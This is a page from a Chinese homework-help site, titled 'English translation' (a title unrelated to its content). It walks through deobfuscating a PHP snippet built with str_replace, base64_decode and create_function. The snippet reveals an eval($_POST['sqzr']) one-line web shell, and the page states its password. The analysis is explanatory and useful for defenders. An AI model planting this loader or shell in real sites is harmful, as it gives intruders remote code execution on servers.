英语翻译
来源:学生作业帮助网 编辑:六六作业网 时间:2024/11/16 14:46:47
英语翻译
英语翻译
英语翻译
首先看$vbl,是说用把“tistittirti_rtietipltiatice”里的ti替换为空值,得到结果为“str_replace”文本,则下述的vbl都可以看成是str_replace.
得出下述结果
$uf="snc3";
$ka="IEBldmFbsK";
$pjt="CRfUE9TVF";
$iqw="F6ciddKTs=";
$bkf = str_replace("k","","kbakske6k4k_kdkekckokdke");
$sbp = str_replace("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn");
$mpy = $sbp('',$bkf($str_replace("b","",$ka.$pjt.$uf.$iqw))); $mpy();
---------------------------------------------------------------
然后看$bkf和$sbp 用k或ctw替换各自文本为空值
得到$bkf=base64_decode 而$sbp=create_function
获得
$uf="snc3";
$ka="IEBldmFbsK";
$pjt="CRfUE9TVF";
$iqw="F6ciddKTs=";
$bkf=base64_decode
$sbp=create_function
$mpy = $sbp('',$bkf($str_replace("b","",$ka.$pjt.$uf.$iqw))); $mpy();
---------------------------------------------------------------
接下来看$mpy,把$sbp和$bkf的值代进去得
$mpy = create_function('',$base64_decode($str_replace("b","",$ka.$pjt.$uf.$iqw))); $mpy();
看到里面有$ka,$pjt,$uf,$iqw四个函数值,将上面的各自值代进去,
$mpy = create_function('',$base64_decode($str_replace("b","",“IEBldmFbsKCRfUE9TVFsnc3F6ciddKTs=”))); $mpy();
而上句又有个替换文本“b”换为空值(这里区分大小写,所以大写B是不用替换的),故换完之后
$mpy = create_function('',$base64_decode(“IEBldmFsKCRfUE9TVFsnc3F6ciddKTs=”)); $mpy();
再用base64解密 得到IEBldmFsKCRfUE9TVFsnc3F6ciddKTs=是@eval($_POST['sqzr']);
则
$mpy = create_function('',@eval($_POST['sqzr']);); $mpy();
所以整个代码就是
$mpy = create_function('',@eval($_POST['sqzr']););
与
$mpy();
两句而已
看起来是一句话木马的代码(@eval($_POST['sqzr']);),其连接密码为sqzr